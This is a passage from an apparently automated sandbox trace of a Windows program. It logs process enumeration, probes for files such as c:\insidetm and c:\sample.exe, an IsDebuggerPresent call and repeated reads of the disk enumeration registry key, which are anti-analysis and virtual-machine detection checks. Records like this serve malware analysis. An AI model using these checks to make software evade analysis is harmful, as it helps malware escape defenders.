szExeFile="svchost.exe")) returned 1 [0037.836] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0037.836] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.836] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.837] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0037.837] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0037.838] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0037.838] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0037.839] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.839] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0037.840] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0037.840] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.841] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0037.841] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.842] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="purse-referrals-effort.exe")) returned 1 [0037.842] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="carrying.exe")) returned 1 [0037.842] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectsscholarturkey.exe")) returned 1 [0037.843] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mason fri.exe")) returned 1 [0037.843] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gs assign.exe")) returned 1 [0037.844] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="answering.exe")) returned 1 [0037.844] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ptssupportsengage.exe")) returned 1 [0037.845] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="plugins.exe")) returned 1 [0037.869] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="constructedstartedsince.exe")) returned 1 [0037.869] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patrick.exe")) returned 1 [0037.869] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="deadline_supervisors.exe")) returned 1 [0037.870] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tackle threatened banks.exe")) returned 1 [0037.870] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gsmfloristnumerous.exe")) returned 1 [0037.871] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="separately correspondence.exe")) returned 1 [0037.871] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="twin istanbul.exe")) returned 1 [0037.872] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="consciousness.exe")) returned 1 [0037.872] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0037.873] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0039.783] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.783] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.783] GlobalUnlock (hMem=0x440004) returned 0 [0039.783] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.783] GlobalLock (hMem=0x44000c) returned 0x51f100 [0039.783] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.783] GlobalUnlock (hMem=0x440004) returned 0 [0039.783] GlobalHandle (pMem=0x51f100) returned 0x44000c [0039.783] GlobalUnlock (hMem=0x44000c) returned 0 [0039.783] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x174 [0039.787] Process32First (in: hSnapshot=0x174, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0039.863] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.863] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.863] GlobalUnlock (hMem=0x44000c) returned 0 [0039.864] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.864] GlobalLock (hMem=0x440004) returned 0x51f100 [0039.864] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.864] GlobalUnlock (hMem=0x44000c) returned 0 [0039.864] GlobalHandle (pMem=0x51f100) returned 0x440004 [0039.864] GlobalUnlock (hMem=0x440004) returned 0 [0039.864] GetFileAttributesA (lpFileName="c:\\insidetm" (normalized: "c:\\insidetm")) returned 0xffffffff [0039.864] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.864] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.864] GlobalUnlock (hMem=0x440004) returned 0 [0039.864] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.864] GlobalLock (hMem=0x44000c) returned 0x51f100 [0039.864] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.864] GlobalUnlock (hMem=0x440004) returned 0 [0039.864] GlobalHandle (pMem=0x51f100) returned 0x44000c [0039.864] GlobalUnlock (hMem=0x44000c) returned 0 [0039.864] GetFileAttributesA (lpFileName="c:\\sample.exe" (normalized: "c:\\sample.exe")) returned 0xffffffff [0039.864] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76e10000 [0039.865] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.865] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.865] GlobalUnlock (hMem=0x44000c) returned 0 [0039.865] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.865] GlobalLock (hMem=0x440004) returned 0x51f100 [0039.865] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.865] GlobalUnlock (hMem=0x44000c) returned 0 [0039.865] GlobalHandle (pMem=0x51f100) returned 0x440004 [0039.865] GlobalUnlock (hMem=0x440004) returned 0 [0039.865] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0039.865] IsDebuggerPresent () returned 0 [0039.865] FreeLibrary (hLibModule=0x76e10000) returned 1 [0039.865] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.865] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.865] GlobalUnlock (hMem=0x440004) returned 0 [0039.865] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.865] GlobalLock (hMem=0x44000c) returned 0x51f100 [0039.865] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.865] GlobalUnlock (hMem=0x440004) returned 0 [0039.865] GlobalHandle (pMem=0x51f100) returned 0x44000c [0039.865] GlobalUnlock (hMem=0x44000c) returned 0 [0039.865] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.865] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.865] GlobalUnlock (hMem=0x44000c) returned 0 [0039.865] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.866] GlobalLock (hMem=0x440004) returned 0x51f100 [0039.866] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.866] GlobalUnlock (hMem=0x44000c) returned 0 [0039.866] GlobalHandle (pMem=0x51f100) returned 0x440004 [0039.866] GlobalUnlock (hMem=0x440004) returned 0 [0039.866] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SYSTEM\\ControlSet001\\Services\\Disk\\Enum", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fdf8 | out: phkResult=0x18fdf8*=0x170) returned 0x0 [0039.866] RegQueryValueExA (in: hKey=0x170, lpValueName="0", lpReserved=0x0, lpType=0x18fdf4, lpData=0x0, lpcbData=0x18fdf0*=0x0 | out: lpType=0x18fdf4*=0x1, lpData=0x0, lpcbData=0x18fdf0*=0x4c) returned 0x0 [0039.866] RegQueryValueExA (in: hKey=0x170, lpValueName="0", lpReserved=0x0, lpType=0x18fdf4, lpData=0x1e53478, lpcbData=0x18fdf0*=0x4c | out: lpType=0x18fdf4*=0x1, lpData="IDE\\DiskHD502HI_________________________________OF90____\\5&1981bee2&0&0.0.0", lpcbData=0x18fdf0*=0x4c) returned 0x0 [0039.866] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.866] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.866] GlobalUnlock (hMem=0x440004) returned 0 [0039.866] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.866] GlobalLock (hMem=0x44000c) returned 0x51f100 [0039.866] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.866] GlobalUnlock (hMem=0x440004) returned 0 [0039.866] GlobalHandle (pMem=0x51f100) returned 0x44000c [0039.866] GlobalUnlock (hMem=0x44000c) returned 0 [0039.866] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.866] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.866] GlobalUnlock (hMem=0x44000c) returned 0 [0039.867] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.867] GlobalLock (hMem=0x440004) returned 0x51f100 [0039.867] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.867] GlobalUnlock (hMem=0x44000c) returned 0 [0039.867] GlobalHandle (pMem=0x51f100) returned 0x440004 [0039.867] GlobalUnlock (hMem=0x440004) returned 0 [0039.867] RegCloseKey (hKey=0x170) returned 0x0 [0039.867] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.867] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.867] GlobalUnlock (hMem=0x440004) returned 0 [0039.867] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.867] GlobalLock (hMem=0x44000c) returned 0x51f100 [0039.867] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.867] GlobalUnlock (hMem=0x440004) returned 0 [0039.867] GlobalHandle (pMem=0x51f100) returned 0x44000c [0039.867] GlobalUnlock (hMem=0x44000c) returned 0 [0039.867] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.867] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.867] GlobalUnlock (hMem=0x44000c) returned 0 [0039.867] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.867] GlobalLock (hMem=0x440004) returned 0x51f100 [0039.867] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.867] GlobalUnlock (hMem=0x44000c) returned 0 [0039.867] GlobalHandle (pMem=0x51f100) returned 0x440004 [0039.867] GlobalUnlock (hMem=0x440004) returned 0 [0039.867] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SYSTEM\\ControlSet001\\Services\\Disk\\Enum", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fdf8 | out: phkResult=0x18fdf8*=0x170) returned 0x0 [0039.868] RegQueryValueExA (in: hKey=0x170, lpValueName="0", lpReserved=0x0, lpType=0x18fdf4, lpData=0x0, lpcbData=0x18fdf0*=0x0 | out: lpType=0x18fdf4*=0x1, lpData=0x0, lpcbData=0x18fdf0*=0x4c) returned 0x0 [0039.868] RegQueryValueExA (in: hKey=0x170, lpValueName="0", lpReserved=0x0, lpType=0x18fdf4, lpData=0x1e53478, lpcbData=0x18fdf0*=0x4c | out: lpType=0x18fdf4*=0x1, lpData="IDE\\DiskHD502HI_________________________________OF90____\\5&1981bee2&0&0.0.0", lpcbData=0x18fdf0*=0x4c) returned 0x0 [0039.868] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.868] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.868] GlobalUnlock (hMem=0x440004) returned 0 [0039.868] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.868] GlobalLock (hMem=0x44000c) returned 0x51f100 [0039.868] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.868] GlobalUnlock (hMem=0x440004) returned 0 [0039.868] GlobalHandle (pMem=0x51f100) returned 0x44000c [0039.868] GlobalUnlock (hMem=0x44000c) returned 0 [0039.868] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.868] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.868] GlobalUnlock (hMem=0x44000c) returned 0 [0039.868] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.868] GlobalLock (hMem=0x440004) returned 0x51f100 [0039.868] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.868] GlobalUnlock (hMem=0x44000c) returned 0 [0039.868] GlobalHandle (pMem=0x51f100) returned 0x440004 [0039.868] GlobalUnlock (hMem=0x440004) returned 0 [0039.868] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.868] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.868] GlobalUnlock (hMem=0x440004) returned 0 [0039.868] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.868] GlobalLock (hMem=0x44000c) returned 0x51f100 [0039.868] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.869] GlobalUnlock (hMem=0x440004) returned 0 [0039.869] GlobalHandle (pMem=0x51f100) returned 0x44000c [0039.869] GlobalUnlock (hMem=0x44000c) returned 0 [0039.869] RegCloseKey (hKey=0x170) returned 0x0 [0039.869] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.869] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.869] GlobalUnlock (hMem=0x44000c) returned 0 [0039.869] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.869] GlobalLock (hMem=0x440004) returned 0x51f100 [0039.869] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.869] GlobalUnlock (hMem=0x44000c) returned 0 [0039.869] GlobalHandle (pMem=0x51f100) returned 0x440004 [0039.869] GlobalUnlock (hMem=0x440004) returned 0 [0039.869] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.869] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.869] GlobalUnlock (hMem=0x440004) returned 0 [0039.869] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.869] GlobalLock (hMem=0x44000c) returned 0x51f100 [0039.869] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.869] GlobalUnlock (hMem=0x440004) returned 0 [0039.869] GlobalHandle (pMem=0x51f100) returned 0x44000c [0039.869] GlobalUnlock (hMem=0x44000c) returned 0 [0039.869] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SYSTEM\\ControlSet001\\Services\\Disk\\Enum", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fdf8 | out: phkResult=0x18fdf8*=0x170) returned 0x0 [0039.869] RegQueryValueExA (in: hKey=0x170, lpValueName="0", lpReserved=0x0, lpType=0x18fdf4, lpData=0x0, lpcbData=0x18fdf0*=0x0 | out: lpType=0x18fdf4*=0x1, lpData=0x0, lpcbData=0x18fdf0*=0x4c) returned 0x0 [0039.870] RegQueryValueExA (in: hKey=0x170, lpValueName="0", lpReserved=0x0, lpType=0x18fdf4, lpData=0x1e53478, lpcbData=0x18fdf0*=0x4c | out: lpType=0x18fdf4*=0x1, lpData="IDE\\DiskHD502HI_________________________________OF90____\\5&1981bee2&0&0.0.0", lpcbData=0x18fdf0*=0x4c) returned 0x0 [0039.870] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.870] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.870] GlobalUnlock (hMem=0x44000c) returned 0 [0039.870] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.870] GlobalLock (hMem=0x440004) returned 0x51f100 [0039.870] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.870] GlobalUnlock (hMem=0x44000c) returned 0 [0039.870] GlobalHandle (pMem=0x51f100) returned 0x440004 [0039.870] GlobalUnlock (hMem=0x440004) returned 0 [0039.870] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.870] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.870] GlobalUnlock (hMem=0x440004) returned 0 [0039.870] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.870] GlobalLock (hMem=0x44000c) returned 0x51f100 [0039.870] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.870] GlobalUnlock (hMem=0x440004) returned 0 [0039.870] GlobalHandle (pMem=0x51f100) returned 0x44000c [0039.870] GlobalUnlock (hMem=0x44000c) returned 0 [0039.870] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.870] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.870] GlobalUnlock (hMem=0x44000c) returned 0 [0039.870] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.870] GlobalLock (hMem=0x440004) returned 0x51f100 [0039.870] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.870] GlobalUnlock (hMem=0x44000c) returned 0 [0039.870] GlobalHandle (pMem=0x51f100) returned 0x440004 [0039.871] GlobalUnlock (hMem=0x440004) returned 0 [0039.871] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.871] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.871] GlobalUnlock (hMem=0x440004) returned 0 [0039.871] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.871] GlobalLock (hMem=0x44000c) returned 0x51f100 [0039.871] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.871] GlobalUnlock (hMem=0x440004) returned 0 [0039.871] GlobalHandle (pMem=0x51f100) returned 0x44000c [0039.871] GlobalUnlock (hMem=0x44000c) returned 0 [0039.871] RegCloseKey (hKey=0x170) returned 0x0 [0039.871] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.871] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.871] GlobalUnlock (hMem=0x44000c) returned 0 [0039.871] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.871] GlobalLock (hMem=0x440004) returned 0x51f100 [0039.871] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.871] GlobalUnlock (hMem=0x44000c) returned 0 [0039.871] GlobalHandle (pMem=0x51f100) returned 0x440004 [0039.871] GlobalUnlock (hMem=0x440004) returned 0 [0039.871] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.871] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.871] GlobalUnlock (hMem=0x440004) returned 0 [0039.871] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.872] GlobalLock (hMem=0x44000c) returned 0x51f100 [0039.872] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.872] GlobalUnlock (hMem=0x440004) returned 0 [0039.872] GlobalHandle (pMem=0x51f100) returned 0x44000c [0039.872] GlobalUnlock (hMem=0x44000c) returned 0 [0039.872] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SYSTEM\\ControlSet001\\Services\\Disk\\Enum", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fdf8 | out: phkResult=0x18fdf8*=0x170) returned 0x0 [0039.872] RegQueryValueExA (in: hKey=0x170, lpValueName="0", lpReserved=0x0, lpType=0x18fdf4, lpData=0x0, lpcbData=0x18fdf0*=0x0 | out: lpType=0x18fdf4*=0x1, lpData=0x0, lpcbData=0x18fdf0*=0x4c) returned 0x0 [0039.872] RegQueryValueExA (in: hKey=0x170, lpValueName="0", lpReserved=0x0, lpType=0x18fdf4, lpData=0x1e53478, lpcbData=0x18fdf0*=0x4c | out: lpType=0x18fdf4*=0x1, lpData="IDE\\DiskHD502HI_________________________________OF90____\\5&1981bee2&0&0.0.0", lpcbData=0x18fdf0*=0x4c) returned 0x0 [0039.872] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.872] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.872] GlobalUnlock (hMem=0x44000c) returned 0 [0039.872] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.872] GlobalLock (hMem=0x440004) returned 0x51f100 [0039.872] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.872] GlobalUnlock (hMem=0x44000c) returned 0 [0039.872] GlobalHandle (pMem=0x51f100) returned 0x440004 [0039.872] GlobalUnlock (hMem=0x440004) returned 0 [0039.872] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.872] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.872] GlobalUnlock (hMem=0x440004) returned 0 [0039.872] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.872] GlobalLock (hMem=0x44000c) returned 0x51f100 [0039.872] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.872] GlobalUnlock (hMem=0x440004) returned 0 [0039.872] GlobalHandle (pMem=0x51f100) returned 0x44000c [0039.872] GlobalUnlock (hMem=0x44000c) returned 0 [0039.872] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.872] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.873] GlobalUnlock (hMem=0x44000c) returned 0 [0039.873] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.873] GlobalLock (hMem=0x440004) returned 0x51f100 [0039.873] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.873] GlobalUnlock (hMem=0x44000c) returned 0 [0039.873] GlobalHandle (pMem=0x51f100) returned 0x440004 [0039.873] GlobalUnlock (hMem=0x440004) returned 0 [0039.873] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.873] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.873] GlobalUnlock (hMem=0x440004) returned 0 [0039.873] GlobalLock (hMem=0x440004) returned 0x54c960 [0039.873] GlobalLock (hMem=0x44000c) returned 0x51f100 [0039.873] GlobalHandle (pMem=0x54c960) returned 0x440004 [0039.873] GlobalUnlock (hMem=0x440004) returned 0 [0039.873] GlobalHandle (pMem=0x51f100) returned 0x44000c [0039.873] GlobalUnlock (hMem=0x44000c) returned 0 [0039.873] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.873] GlobalHandle (pMem=0x54c960) returned 0x44000c [0039.873] GlobalUnlock (hMem=0x44000c) returned 0 [0039.873] GlobalLock (hMem=0x44000c) returned 0x54c960 [0039.873] GlobalLock (hMem=0x440004) returned 0x51f100 [0039.873] GlobalHandle 